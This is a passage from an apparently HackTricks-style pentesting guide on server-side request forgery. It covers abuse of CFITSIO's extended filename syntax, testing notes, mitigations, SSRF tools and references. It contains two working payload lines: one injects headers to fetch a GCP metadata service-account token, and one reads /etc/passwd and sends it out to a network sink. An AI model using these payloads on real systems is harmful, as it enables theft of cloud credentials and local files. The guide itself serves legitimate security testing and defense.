 - **Header / request injection through raw HTTP drivers**: If the library builds the request line from attacker-controlled filename data, embedded newlines may inject headers required by cloud metadata services. Example payload for **GCP metadata** access through a raw HTTP backend:
 
 ```bash
 $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/tmp/gcp-token.txt)'
 ```
 
   Here the SSRF both reaches the metadata endpoint and persists the first response body locally.
 - **Writable network sink discovery / exfiltration**: Even if one remote driver only supports read access, another registered backend may still expose **create/write** callbacks. In CFITSIO, the legacy `root://` backend can be abused as an outbound sink. Chaining a local file, the outfile syntax, and raw-binary conversion can wrap non-FITS bytes into a synthetic FITS object and exfiltrate them:
 
 ```bash
 '/etc/passwd(root://127.0.0.1:1094//loot)[b500,1][*,*]'
 ```
 
 - **Adjacent local file primitives**: The same outfile syntax can also copy a readable local file to another local path **before** full FITS validation, so a sink that looks like “open uploaded image” can become an arbitrary file copy gadget.
 
 ### Testing notes
 
 - Enumerate whether the target parser accepts **scheme prefixes**, **redirection / outfile clauses**, **selectors**, **filters**, or **format-conversion suffixes**.
 - Probe for **CR/LF injection** inside filename-derived network requests when metadata endpoints require special headers.
 - Look for backends that support **write/create** operations, not only read/open. A legacy or obscure protocol handler may be the exfiltration path.
 - If the sink expects a specific container format, try built-in **raw import / conversion** features to wrap arbitrary bytes into an accepted object before exfiltration.
 
 ### Mitigations
 
 - Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths.<sup>[[11]](#references)</sup>
 - Treat extended filename syntaxes as **privileged features** and disable or gate them for attacker-controlled input.
 - Reject or strictly sanitise metacharacters that switch parser modes (`(`, `)`, `[`, `]`, CR, LF, scheme prefixes) before calling EFS-aware APIs.
 
 ## Cloud SSRF Exploitation
 
 If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
 
 
 [Cloud Ssrf](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf)
 
 ## SSRF Vulnerable Platforms
 
 Several known platforms contains or has contained SSRF vulnerabilities, check them in:
 
 
 [Ssrf Vulnerable Platforms](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms)
 
 ## Tools
 
 ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
 
 Tool to detect and exploit SSRF vulnerabilities
 
 ### [Gopherus](https://github.com/tarunkant/Gopherus)
 
 - [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
 
 This tool generates Gopher payloads for:
 
 - MySQL
 - PostgreSQL
 - FastCGI
 - Redis
 - Zabbix
 - Memcache
 
 ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 
 - [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
 
 _remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly.
 
 ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
 
 SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
 
 ### To practice
 
 
 [Ssrf Vulnerable Lab](https%3A//github.com/incredibleindishell/SSRF_Vulnerable_Lab)
 
 ## References
 
 - [1] [SSRF Payloads](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
 - [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
 - [3] [SSRF Vulnerabilities Caused by SNI Proxy Misconfigurations](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
 - [4] [Exploiting HTTP Parsers' Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 - [5] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
 - [6] [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk)
 - [7] [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1)
 - [8] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
 - [9] [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html)
 - [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html)
 - [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html)
 - [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/)
 - [13] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)
 - [14] [PortSwigger - Web Security - Ssrf](https://portswigger.net/web-security/ssrf)
 - [15] [everything curl - URL globbing](https://everything.curl.dev/cmdline/urls/globbing.html)
 - [16] [youtube.com - Watch](https://www.youtube.com/watch?v=qGpAJxfADjo)